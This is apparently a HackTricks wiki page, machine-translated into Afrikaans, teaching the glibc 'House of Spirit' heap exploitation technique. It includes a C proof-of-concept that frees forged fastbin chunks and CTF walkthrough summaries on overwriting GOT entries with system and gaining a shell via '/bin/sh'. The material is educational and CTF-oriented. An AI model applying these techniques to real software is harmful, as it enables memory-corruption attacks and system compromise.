House of Spirit

Reading time: 5 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Kode

House of Spirit
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];               // chunk falls in fastbin size range
};

int main() {
struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30);
printf("Victim: %p\n", victim);

return 0;
}

Doel

  • In staat wees om 'n adres in die tcache / fast bin by te voeg sodat dit later moontlik is om dit toe te ken

Vereistes

  • Hierdie aanval vereis dat 'n aanvaller in staat is om 'n paar vals vinnige stukke te skep wat die grootte waarde daarvan korrek aandui en dan in staat wees om die eerste vals stuk vry te stel sodat dit in die bin kom.

Aanval

  • Skep vals stukke wat sekuriteitskontroles omseil: jy sal 2 vals stukke nodig hê wat basies die korrekte groottes op die korrekte plekke aandui
  • Op een of ander manier die eerste vals stuk vrystel sodat dit in die fast of tcache bin kom en dan dit toe te ken om daardie adres te oorskryf

Die kode van guyinatuxedo is wonderlik om die aanval te verstaan. Alhoewel hierdie skema van die kode dit redelik goed opsom:

c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

note

Let daarop dat dit nodig is om die tweede stuk te skep om 'n paar sanity checks te omseil.

Voorbeelde

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Deur 'n overflow is dit moontlik om 'n pointer te verander om na 'n GOT adres te wys om 'n libc adres via die lees aksie van die CTF te lek.

  • House of Spirit: Deur 'n teen te misbruik wat die aantal "gewere" tel, is dit moontlik om 'n vals grootte van die eerste vals stuk te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n stuk te vals en uiteindelik deur 'n overflow is dit moontlik om 'n pointer te verander wat vrygestel gaan word sodat ons eerste vals stuk vrygestel word. Dan kan ons dit toewys en binne-in daarvan gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om dit na die scanf ingang binne die GOT tabel te laat wys, sodat ons dit kan oorskryf met die adres na system.
    Volgende keer dat scanf aangeroep word, kan ons die invoer "/bin/sh" stuur en 'n shell kry.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Ongeïnitialiseerde stapelbuffer.

  • House of Spirit: Ons kan die eerste indeks van 'n globale reeks van heap pointers verander. Met 'n enkele byte verandering, gebruik ons free op 'n vals stuk binne 'n geldige stuk, sodat ons 'n oorvleueling van stukke situasie kry nadat ons weer toewys. Met dit werk 'n eenvoudige Tcache vergiftiging aanval om 'n arbitrêre skrywe primitief te verkry.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks